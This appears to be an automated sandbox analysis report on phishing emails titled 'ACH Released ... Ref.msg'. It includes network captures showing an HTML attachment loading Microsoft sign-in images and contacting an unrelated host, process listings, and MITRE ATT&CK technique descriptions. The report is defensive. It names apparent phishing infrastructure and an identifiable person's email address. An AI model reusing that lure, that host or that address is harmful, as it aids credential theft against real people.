2024-10-25 20:08:07 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49739	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:06 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:06 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: f7e7a450-101e-0074-1f94-25c80b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200806Z-16849878b78p49s6zkwt11bbkn00000000ng00000000hqgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:07 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49740	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:06 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	785	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:07 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 0c44100f-301e-0012-4cff-26b886000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200807Z-17c5cb586f6lxnvg801rcb3n8n00000000sg000000007u3u x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:07 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49741	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:06 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:07 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 1b5f1178-f01e-0058-66d4-266cb6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200807Z-16849878b78p49s6zkwt11bbkn00000000n000000000na94 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:07 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49738	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:07 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:07 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 68cfccad-301e-0060-296f-26bfc9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200807Z-16849878b78k46f8kzwxznephs00000009n0000000007kuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-25 20:08:07 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49745	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:07 UTC	346	OUT	GET /favicon.ico HTTP/1.1 Host: marty-n.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	270	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:07 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 11 Mar 2019 11:56:00 GMT ETag: "73b00d6-47e-583d04191d035" Accept-Ranges: bytes Content-Length: 1150 Content-Type: image/x-icon
2024-10-25 20:08:07 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49744	152.199.21.175	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:07 UTC	424	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18542059 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Fri, 25 Oct 2024 20:08:07 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-25 20:08:07 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49749	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:08 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+d3uuy6YdV8yVhl&MD=lvxVbZ8h HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 20:08:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9c674efc-3a45-455d-9cdc-c05b161bf9b6 MS-RequestId: 82bb5ded-5e0c-4cac-b9c6-fc10f6759171 MS-CV: ZquK/tHKX0eW0aL4.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 20:08:08 GMT Connection: close Content-Length: 30005
2024-10-25 20:08:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-25 20:08:09 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	1
Start time:	16:07:17
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff7f71f0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:07:28
Start date:	25/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F2%2F2024 Ref.msg"
Imagebase:	0x3f0000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:07:31
Start date:	25/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D1F2F87D-75D8-4576-8469-E7F34A59C0C5" "4F34E7FD-D8A6-4DEC-BD60-84C759A041B4" "6540" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff6d8a70000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	16:07:45
Start date:	25/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F3%2F2024 Ref.msg"
Imagebase:	0x3f0000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:07:58
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:07:58
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,726869779700369838,1441709904178016688,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

